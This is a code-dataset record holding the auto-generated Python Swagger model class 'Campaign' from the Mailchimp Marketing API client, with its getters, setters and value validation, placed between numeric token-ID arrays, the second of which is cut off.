9967, 4971, 29, 8763, 9864, 1847, 3556, 9967, 4971, 29, 198, 220, 220, 220, 1279, 35836, 34991, 1890, 29, 26288, 6242, 30465, 3556, 35836, 34991, 1890, 29, 198, 3556, 71, 463, 1559, 13, 37390, 13, 11249, 9967, 263, 13, 15580, 12235, 263, 21746, 29, 37811, 628, 220, 220, 220, 220, 220, 220, 220, 6808, 62, 17440, 796, 11703, 27660, 13, 6738, 8841, 7, 12286, 62, 19875, 8, 198, 220, 220, 220, 220, 220, 220, 220, 3946, 62, 17440, 796, 11703, 27660, 13, 7004, 20180, 7, 15763, 62, 17440, 11, 366, 41938, 41, 8158, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 611, 318, 39098, 7, 33279, 82, 11, 965, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3946, 62, 17440, 13, 5239, 796, 7572, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3946, 62, 17440, 13, 5239, 796, 366, 27071, 22179, 7, 33279, 82, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 537, 82, 7, 15763, 62, 17440, 8, 628, 198, 37233, 9487, 796, 10934, 12235, 263, 21746, 628, 198, 361, 11593, 3672, 834, 6624, 366, 834, 12417, 834, 1298, 220, 1303, 23864, 2611, 25, 645, 3002, 198, 220, 220, 220, 1208, 198 ]
2.577812
1,298
# coding: utf-8 """ Mailchimp Marketing API No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501 OpenAPI spec version: 3.0.74 Contact: [email protected] Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re # noqa: F401 import six class Campaign(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'id': 'str', 'web_id': 'int', 'parent_campaign_id': 'str', 'type': 'str', 'create_time': 'datetime', 'archive_url': 'str', 'long_archive_url': 'str', 'status': 'str', 'emails_sent': 'int', 'send_time': 'datetime', 'content_type': 'str', 'needs_block_refresh': 'bool', 'resendable': 'bool', 'recipients': 'List3', 'settings': 'CampaignSettings2', 'variate_settings': 'ABTestOptions', 'tracking': 'CampaignTrackingOptions1', 'rss_opts': 'RSSOptions', 'ab_split_opts': 'ABTestingOptions', 'social_card': 'CampaignSocialCard', 'report_summary': 'CampaignReportSummary2', 'delivery_status': 'CampaignDeliveryStatus', 'links': 'list[ResourceLink]' } attribute_map = { 'id': 'id', 'web_id': 'web_id', 'parent_campaign_id': 'parent_campaign_id', 'type': 'type', 'create_time': 'create_time', 'archive_url': 'archive_url', 'long_archive_url': 'long_archive_url', 'status': 'status', 'emails_sent': 'emails_sent', 'send_time': 'send_time', 'content_type': 'content_type', 'needs_block_refresh': 'needs_block_refresh', 'resendable': 'resendable', 'recipients': 'recipients', 'settings': 'settings', 'variate_settings': 'variate_settings', 'tracking': 'tracking', 'rss_opts': 'rss_opts', 'ab_split_opts': 'ab_split_opts', 'social_card': 'social_card', 'report_summary': 'report_summary', 'delivery_status': 'delivery_status', 'links': '_links' } def __init__(self, id=None, web_id=None, parent_campaign_id=None, type=None, create_time=None, archive_url=None, long_archive_url=None, status=None, emails_sent=None, send_time=None, content_type=None, needs_block_refresh=None, resendable=None, recipients=None, settings=None, variate_settings=None, tracking=None, rss_opts=None, ab_split_opts=None, social_card=None, report_summary=None, delivery_status=None, links=None): # noqa: E501 """Campaign - a model defined in Swagger""" # noqa: E501 self._id = None self._web_id = None self._parent_campaign_id = None self._type = None self._create_time = None self._archive_url = None self._long_archive_url = None self._status = None self._emails_sent = None self._send_time = None self._content_type = None self._needs_block_refresh = None self._resendable = None self._recipients = None self._settings = None self._variate_settings = None self._tracking = None self._rss_opts = None self._ab_split_opts = None self._social_card = None self._report_summary = None self._delivery_status = None self._links = None self.discriminator = None if id is not None: self.id = id if web_id is not None: self.web_id = web_id if parent_campaign_id is not None: self.parent_campaign_id = parent_campaign_id if type is not None: self.type = type if create_time is not None: self.create_time = create_time if archive_url is not None: self.archive_url = archive_url if long_archive_url is not None: self.long_archive_url = long_archive_url if status is not None: self.status = status if emails_sent is not None: self.emails_sent = emails_sent if send_time is not None: self.send_time = send_time if content_type is not None: self.content_type = content_type if needs_block_refresh is not None: self.needs_block_refresh = needs_block_refresh if resendable is not None: self.resendable = resendable if recipients is not None: self.recipients = recipients if settings is not None: self.settings = settings if variate_settings is not None: self.variate_settings = variate_settings if tracking is not None: self.tracking = tracking if rss_opts is not None: self.rss_opts = rss_opts if ab_split_opts is not None: self.ab_split_opts = ab_split_opts if social_card is not None: self.social_card = social_card if report_summary is not None: self.report_summary = report_summary if delivery_status is not None: self.delivery_status = delivery_status if links is not None: self.links = links @property def id(self): """Gets the id of this Campaign. # noqa: E501 A string that uniquely identifies this campaign. # noqa: E501 :return: The id of this Campaign. # noqa: E501 :rtype: str """ return self._id @id.setter def id(self, id): """Sets the id of this Campaign. A string that uniquely identifies this campaign. # noqa: E501 :param id: The id of this Campaign. # noqa: E501 :type: str """ self._id = id @property def web_id(self): """Gets the web_id of this Campaign. # noqa: E501 The ID used in the Mailchimp web application. View this campaign in your Mailchimp account at `https://{dc}.admin.mailchimp.com/campaigns/show/?id={web_id}`. # noqa: E501 :return: The web_id of this Campaign. # noqa: E501 :rtype: int """ return self._web_id @web_id.setter def web_id(self, web_id): """Sets the web_id of this Campaign. The ID used in the Mailchimp web application. View this campaign in your Mailchimp account at `https://{dc}.admin.mailchimp.com/campaigns/show/?id={web_id}`. # noqa: E501 :param web_id: The web_id of this Campaign. # noqa: E501 :type: int """ self._web_id = web_id @property def parent_campaign_id(self): """Gets the parent_campaign_id of this Campaign. # noqa: E501 If this campaign is the child of another campaign, this identifies the parent campaign. For Example, for RSS or Automation children. # noqa: E501 :return: The parent_campaign_id of this Campaign. # noqa: E501 :rtype: str """ return self._parent_campaign_id @parent_campaign_id.setter def parent_campaign_id(self, parent_campaign_id): """Sets the parent_campaign_id of this Campaign. If this campaign is the child of another campaign, this identifies the parent campaign. For Example, for RSS or Automation children. # noqa: E501 :param parent_campaign_id: The parent_campaign_id of this Campaign. # noqa: E501 :type: str """ self._parent_campaign_id = parent_campaign_id @property def type(self): """Gets the type of this Campaign. # noqa: E501 There are four types of [campaigns](https://mailchimp.com/help/getting-started-with-campaigns/) you can create in Mailchimp. A/B Split campaigns have been deprecated and variate campaigns should be used instead. # noqa: E501 :return: The type of this Campaign. # noqa: E501 :rtype: str """ return self._type @type.setter def type(self, type): """Sets the type of this Campaign. There are four types of [campaigns](https://mailchimp.com/help/getting-started-with-campaigns/) you can create in Mailchimp. A/B Split campaigns have been deprecated and variate campaigns should be used instead. # noqa: E501 :param type: The type of this Campaign. # noqa: E501 :type: str """ allowed_values = ["regular", "plaintext", "absplit", "rss", "variate"] # noqa: E501 if type not in allowed_values: raise ValueError( "Invalid value for `type` ({0}), must be one of {1}" # noqa: E501 .format(type, allowed_values) ) self._type = type @property def create_time(self): """Gets the create_time of this Campaign. # noqa: E501 The date and time the campaign was created in ISO 8601 format. # noqa: E501 :return: The create_time of this Campaign. # noqa: E501 :rtype: datetime """ return self._create_time @create_time.setter def create_time(self, create_time): """Sets the create_time of this Campaign. The date and time the campaign was created in ISO 8601 format. # noqa: E501 :param create_time: The create_time of this Campaign. # noqa: E501 :type: datetime """ self._create_time = create_time @property def archive_url(self): """Gets the archive_url of this Campaign. # noqa: E501 The link to the campaign's archive version in ISO 8601 format. # noqa: E501 :return: The archive_url of this Campaign. # noqa: E501 :rtype: str """ return self._archive_url @archive_url.setter def archive_url(self, archive_url): """Sets the archive_url of this Campaign. The link to the campaign's archive version in ISO 8601 format. # noqa: E501 :param archive_url: The archive_url of this Campaign. # noqa: E501 :type: str """ self._archive_url = archive_url @property def long_archive_url(self): """Gets the long_archive_url of this Campaign. # noqa: E501 The original link to the campaign's archive version. # noqa: E501 :return: The long_archive_url of this Campaign. # noqa: E501 :rtype: str """ return self._long_archive_url @long_archive_url.setter def long_archive_url(self, long_archive_url): """Sets the long_archive_url of this Campaign. The original link to the campaign's archive version. # noqa: E501 :param long_archive_url: The long_archive_url of this Campaign. # noqa: E501 :type: str """ self._long_archive_url = long_archive_url @property def status(self): """Gets the status of this Campaign. # noqa: E501 The current status of the campaign. # noqa: E501 :return: The status of this Campaign. # noqa: E501 :rtype: str """ return self._status @status.setter def status(self, status): """Sets the status of this Campaign. The current status of the campaign. # noqa: E501 :param status: The status of this Campaign. # noqa: E501 :type: str """ allowed_values = ["save", "paused", "schedule", "sending", "sent", "canceled", "canceling", "archived"] # noqa: E501 if status not in allowed_values: raise ValueError( "Invalid value for `status` ({0}), must be one of {1}" # noqa: E501 .format(status, allowed_values) ) self._status = status @property def emails_sent(self): """Gets the emails_sent of this Campaign. # noqa: E501 The total number of emails sent for this campaign. # noqa: E501 :return: The emails_sent of this Campaign. # noqa: E501 :rtype: int """ return self._emails_sent @emails_sent.setter def emails_sent(self, emails_sent): """Sets the emails_sent of this Campaign. The total number of emails sent for this campaign. # noqa: E501 :param emails_sent: The emails_sent of this Campaign. # noqa: E501 :type: int """ self._emails_sent = emails_sent @property def send_time(self): """Gets the send_time of this Campaign. # noqa: E501 The date and time a campaign was sent. # noqa: E501 :return: The send_time of this Campaign. # noqa: E501 :rtype: datetime """ return self._send_time @send_time.setter def send_time(self, send_time): """Sets the send_time of this Campaign. The date and time a campaign was sent. # noqa: E501 :param send_time: The send_time of this Campaign. # noqa: E501 :type: datetime """ self._send_time = send_time @property def content_type(self): """Gets the content_type of this Campaign. # noqa: E501 How the campaign's content is put together. # noqa: E501 :return: The content_type of this Campaign. # noqa: E501 :rtype: str """ return self._content_type @content_type.setter def content_type(self, content_type): """Sets the content_type of this Campaign. How the campaign's content is put together. # noqa: E501 :param content_type: The content_type of this Campaign. # noqa: E501 :type: str """ allowed_values = ["template", "html", "url", "multichannel"] # noqa: E501 if content_type not in allowed_values: raise ValueError( "Invalid value for `content_type` ({0}), must be one of {1}" # noqa: E501 .format(content_type, allowed_values) ) self._content_type = content_type @property def needs_block_refresh(self): """Gets the needs_block_refresh of this Campaign. # noqa: E501 Determines if the campaign needs its blocks refreshed by opening the web-based campaign editor. Deprecated and will always return false. # noqa: E501 :return: The needs_block_refresh of this Campaign. # noqa: E501 :rtype: bool """ return self._needs_block_refresh @needs_block_refresh.setter def needs_block_refresh(self, needs_block_refresh): """Sets the needs_block_refresh of this Campaign. Determines if the campaign needs its blocks refreshed by opening the web-based campaign editor. Deprecated and will always return false. # noqa: E501 :param needs_block_refresh: The needs_block_refresh of this Campaign. # noqa: E501 :type: bool """ self._needs_block_refresh = needs_block_refresh @property def resendable(self): """Gets the resendable of this Campaign. # noqa: E501 Determines if the campaign qualifies to be resent to non-openers. # noqa: E501 :return: The resendable of this Campaign. # noqa: E501 :rtype: bool """ return self._resendable @resendable.setter def resendable(self, resendable): """Sets the resendable of this Campaign. Determines if the campaign qualifies to be resent to non-openers. # noqa: E501 :param resendable: The resendable of this Campaign. # noqa: E501 :type: bool """ self._resendable = resendable @property def recipients(self): """Gets the recipients of this Campaign. # noqa: E501 :return: The recipients of this Campaign. # noqa: E501 :rtype: List3 """ return self._recipients @recipients.setter def recipients(self, recipients): """Sets the recipients of this Campaign. :param recipients: The recipients of this Campaign. # noqa: E501 :type: List3 """ self._recipients = recipients @property def settings(self): """Gets the settings of this Campaign. # noqa: E501 :return: The settings of this Campaign. # noqa: E501 :rtype: CampaignSettings2 """ return self._settings @settings.setter def settings(self, settings): """Sets the settings of this Campaign. :param settings: The settings of this Campaign. # noqa: E501 :type: CampaignSettings2 """ self._settings = settings @property def variate_settings(self): """Gets the variate_settings of this Campaign. # noqa: E501 :return: The variate_settings of this Campaign. # noqa: E501 :rtype: ABTestOptions """ return self._variate_settings @variate_settings.setter def variate_settings(self, variate_settings): """Sets the variate_settings of this Campaign. :param variate_settings: The variate_settings of this Campaign. # noqa: E501 :type: ABTestOptions """ self._variate_settings = variate_settings @property def tracking(self): """Gets the tracking of this Campaign. # noqa: E501 :return: The tracking of this Campaign. # noqa: E501 :rtype: CampaignTrackingOptions1 """ return self._tracking @tracking.setter def tracking(self, tracking): """Sets the tracking of this Campaign. :param tracking: The tracking of this Campaign. # noqa: E501 :type: CampaignTrackingOptions1 """ self._tracking = tracking @property def rss_opts(self): """Gets the rss_opts of this Campaign. # noqa: E501 :return: The rss_opts of this Campaign. # noqa: E501 :rtype: RSSOptions """ return self._rss_opts @rss_opts.setter def rss_opts(self, rss_opts): """Sets the rss_opts of this Campaign. :param rss_opts: The rss_opts of this Campaign. # noqa: E501 :type: RSSOptions """ self._rss_opts = rss_opts @property def ab_split_opts(self): """Gets the ab_split_opts of this Campaign. # noqa: E501 :return: The ab_split_opts of this Campaign. # noqa: E501 :rtype: ABTestingOptions """ return self._ab_split_opts @ab_split_opts.setter def ab_split_opts(self, ab_split_opts): """Sets the ab_split_opts of this Campaign. :param ab_split_opts: The ab_split_opts of this Campaign. # noqa: E501 :type: ABTestingOptions """ self._ab_split_opts = ab_split_opts @property def social_card(self): """Gets the social_card of this Campaign. # noqa: E501 :return: The social_card of this Campaign. # noqa: E501 :rtype: CampaignSocialCard """ return self._social_card @social_card.setter def social_card(self, social_card): """Sets the social_card of this Campaign. :param social_card: The social_card of this Campaign. # noqa: E501 :type: CampaignSocialCard """ self._social_card = social_card @property def report_summary(self): """Gets the report_summary of this Campaign. # noqa: E501 :return: The report_summary of this Campaign. # noqa: E501 :rtype: CampaignReportSummary2 """ return self._report_summary @report_summary.setter def report_summary(self, report_summary): """Sets the report_summary of this Campaign. :param report_summary: The report_summary of this Campaign. # noqa: E501 :type: CampaignReportSummary2 """ self._report_summary = report_summary @property def delivery_status(self): """Gets the delivery_status of this Campaign. # noqa: E501 :return: The delivery_status of this Campaign. # noqa: E501 :rtype: CampaignDeliveryStatus """ return self._delivery_status @delivery_status.setter def delivery_status(self, delivery_status): """Sets the delivery_status of this Campaign. :param delivery_status: The delivery_status of this Campaign. # noqa: E501 :type: CampaignDeliveryStatus """ self._delivery_status = delivery_status @property def links(self): """Gets the links of this Campaign. # noqa: E501 A list of link types and descriptions for the API schema documents. # noqa: E501 :return: The links of this Campaign. # noqa: E501 :rtype: list[ResourceLink] """ return self._links @links.setter def links(self, links): """Sets the links of this Campaign. A list of link types and descriptions for the API schema documents. # noqa: E501 :param links: The links of this Campaign. # noqa: E501 :type: list[ResourceLink] """ self._links = links def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value if issubclass(Campaign, dict): for key, value in self.items(): result[key] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, Campaign): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other
[ 2, 19617, 25, 3384, 69, 12, 23, 198, 198, 37811, 198, 220, 220, 220, 11099, 354, 11011, 22137, 7824, 628, 220, 220, 220, 1400, 6764, 2810, 357, 27568, 416, 2451, 7928, 6127, 5235, 3740, 1378, 12567, 13, 785, 14, 2032, 7928, 12, 15042, 14, 2032, 7928, 12, 8189, 5235, 8, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 4946, 17614, 1020, 2196, 25, 513, 13, 15, 13, 4524, 198, 220, 220, 220, 14039, 25, 40391, 16794, 31, 4529, 354, 11011, 13, 785, 198, 220, 220, 220, 2980, 515, 416, 25, 3740, 1378, 12567, 13, 785, 14, 2032, 7928, 12, 15042, 14, 2032, 7928, 12, 8189, 5235, 13, 18300, 198, 37811, 628, 198, 11748, 279, 4798, 198, 11748, 302, 220, 1303, 645, 20402, 25, 376, 21844, 198, 198, 11748, 2237, 628, 198, 4871, 13718, 7, 15252, 2599, 198, 220, 220, 220, 37227, 16580, 25, 770, 1398, 318, 8295, 7560, 416, 262, 1509, 7928, 2438, 17301, 1430, 13, 628, 220, 220, 220, 2141, 407, 4370, 262, 1398, 14500, 13, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 37227, 198, 220, 220, 220, 49213, 25, 198, 220, 220, 220, 220, 220, 1509, 7928, 62, 19199, 357, 11600, 2599, 383, 1994, 318, 11688, 1438, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 290, 262, 1988, 318, 11688, 2099, 13, 198, 220, 220, 220, 220, 220, 11688, 62, 8899, 357, 11600, 2599, 383, 1994, 318, 11688, 1438, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 290, 262, 1988, 318, 33918, 1994, 287, 6770, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1509, 7928, 62, 19199, 796, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 705, 312, 10354, 705, 2536, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 12384, 62, 312, 10354, 705, 600, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 8000, 62, 35012, 62, 312, 10354, 705, 2536, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 4906, 10354, 705, 2536, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 17953, 62, 2435, 10354, 705, 19608, 8079, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 17474, 62, 6371, 10354, 705, 2536, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 6511, 62, 17474, 62, 6371, 10354, 705, 2536, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 13376, 10354, 705, 2536, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 368, 1768, 62, 34086, 10354, 705, 600, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 21280, 62, 2435, 10354, 705, 19608, 8079, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 11299, 62, 4906, 10354, 705, 2536, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 50032, 62, 9967, 62, 5420, 3447, 10354, 705, 30388, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 411, 437, 540, 10354, 705, 30388, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 8344, 541, 2334, 10354, 705, 8053, 18, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 33692, 10354, 705, 46102, 26232, 17, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 25641, 378, 62, 33692, 10354, 705, 6242, 14402, 29046, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 36280, 10354, 705, 46102, 2898, 5430, 29046, 16, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 42216, 62, 404, 912, 10354, 705, 49, 5432, 29046, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 397, 62, 35312, 62, 404, 912, 10354, 705, 6242, 44154, 29046, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 14557, 62, 9517, 10354, 705, 46102, 20636, 16962, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 13116, 62, 49736, 10354, 705, 46102, 19100, 22093, 17, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 12381, 6315, 62, 13376, 10354, 705, 46102, 33129, 19580, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 28751, 10354, 705, 4868, 58, 26198, 11280, 49946, 198, 220, 220, 220, 1782, 628, 220, 220, 220, 11688, 62, 8899, 796, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 705, 312, 10354, 705, 312, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 12384, 62, 312, 10354, 705, 12384, 62, 312, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 8000, 62, 35012, 62, 312, 10354, 705, 8000, 62, 35012, 62, 312, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 4906, 10354, 705, 4906, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 17953, 62, 2435, 10354, 705, 17953, 62, 2435, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 17474, 62, 6371, 10354, 705, 17474, 62, 6371, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 6511, 62, 17474, 62, 6371, 10354, 705, 6511, 62, 17474, 62, 6371, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 13376, 10354, 705, 13376, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 368, 1768, 62, 34086, 10354, 705, 368, 1768, 62, 34086, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 21280, 62, 2435, 10354, 705, 21280, 62, 2435, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 11299, 62, 4906, 10354, 705, 11299, 62, 4906, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 50032, 62, 9967, 62, 5420, 3447, 10354, 705, 50032, 62, 9967, 62, 5420, 3447, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 411, 437, 540, 10354, 705, 411, 437, 540, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 8344, 541, 2334, 10354, 705, 8344, 541, 2334, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 33692, 10354, 705, 33692, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 25641, 378, 62, 33692, 10354, 705, 25641, 378, 62, 33692, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 36280, 10354, 705, 36280, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 42216, 62, 404, 912, 10354, 705, 42216, 62, 404, 912, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 397, 62, 35312, 62, 404, 912, 10354, 705, 397, 62, 35312, 62, 404, 912, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 14557, 62, 9517, 10354, 705, 14557, 62, 9517, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 13116, 62, 49736, 10354, 705, 13116, 62, 49736, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 12381, 6315, 62, 13376, 10354, 705, 12381, 6315, 62, 13376, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 28751, 10354, 705, 62, 28751, 6, 198, 220, 220, 220, 1782, 628, 220, 220, 220, 825, 11593, 15003, 834, 7, 944, 11, 4686, 28, 14202, 11, 3992, 62, 312, 28, 14202, 11, 2560, 62, 35012, 62, 312, 28, 14202, 11, 2099, 28, 14202, 11, 2251, 62, 2435, 28, 14202, 11, 15424, 62, 6371, 28, 14202, 11, 890, 62, 17474, 62, 6371, 28, 14202, 11, 3722, 28, 14202, 11, 7237, 62, 34086, 28, 14202, 11, 3758, 62, 2435, 28, 14202, 11, 2695, 62, 4906, 28, 14202, 11, 2476, 62, 9967, 62, 5420, 3447, 28, 14202, 11, 581, 437, 540, 28, 14202, 11, 20352, 28, 14202, 11, 6460, 28, 14202, 11, 5553, 378, 62, 33692, 28, 14202, 11, 9646, 28, 14202, 11, 374, 824, 62, 404, 912, 28, 14202, 11, 450, 62, 35312, 62, 404, 912, 28, 14202, 11, 1919, 62, 9517, 28, 14202, 11, 989, 62, 49736, 28, 14202, 11, 7585, 62, 13376, 28, 14202, 11, 6117, 28, 14202, 2599, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 46102, 532, 257, 2746, 5447, 287, 2451, 7928, 37811, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 312, 796, 6045, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 12384, 62, 312, 796, 6045, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 8000, 62, 35012, 62, 312, 796, 6045, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 4906, 796, 6045, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 17953, 62, 2435, 796, 6045, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 17474, 62, 6371, 796, 6045, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 6511, 62, 17474, 62, 6371, 796, 6045, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 13376, 796, 6045, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 368, 1768, 62, 34086, 796, 6045, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 21280, 62, 2435, 796, 6045, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 11299, 62, 4906, 796, 6045, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 50032, 62, 9967, 62, 5420, 3447, 796, 6045, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 411, 437, 540, 796, 6045, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 8344, 541, 2334, 796, 6045, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 33692, 796, 6045, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 25641, 378, 62, 33692, 796, 6045, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 36280, 796, 6045, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 42216, 62, 404, 912, 796, 6045, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 397, 62, 35312, 62, 404, 912, 796, 6045, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 14557, 62, 9517, 796, 6045, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 13116, 62, 49736, 796, 6045, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 12381, 6315, 62, 13376, 796, 6045, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 28751, 796, 6045, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 15410, 3036, 20900, 796, 6045, 628, 220, 220, 220, 220, 220, 220, 220, 611, 4686, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 312, 796, 4686, 198, 220, 220, 220, 220, 220, 220, 220, 611, 3992, 62, 312, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 12384, 62, 312, 796, 3992, 62, 312, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2560, 62, 35012, 62, 312, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 8000, 62, 35012, 62, 312, 796, 2560, 62, 35012, 62, 312, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2099, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 4906, 796, 2099, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2251, 62, 2435, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 17953, 62, 2435, 796, 2251, 62, 2435, 198, 220, 220, 220, 220, 220, 220, 220, 611, 15424, 62, 6371, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 17474, 62, 6371, 796, 15424, 62, 6371, 198, 220, 220, 220, 220, 220, 220, 220, 611, 890, 62, 17474, 62, 6371, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 6511, 62, 17474, 62, 6371, 796, 890, 62, 17474, 62, 6371, 198, 220, 220, 220, 220, 220, 220, 220, 611, 3722, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 13376, 796, 3722, 198, 220, 220, 220, 220, 220, 220, 220, 611, 7237, 62, 34086, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 368, 1768, 62, 34086, 796, 7237, 62, 34086, 198, 220, 220, 220, 220, 220, 220, 220, 611, 3758, 62, 2435, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 21280, 62, 2435, 796, 3758, 62, 2435, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2695, 62, 4906, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 11299, 62, 4906, 796, 2695, 62, 4906, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2476, 62, 9967, 62, 5420, 3447, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 50032, 62, 9967, 62, 5420, 3447, 796, 2476, 62, 9967, 62, 5420, 3447, 198, 220, 220, 220, 220, 220, 220, 220, 611, 581, 437, 540, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 411, 437, 540, 796, 581, 437, 540, 198, 220, 220, 220, 220, 220, 220, 220, 611, 20352, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 8344, 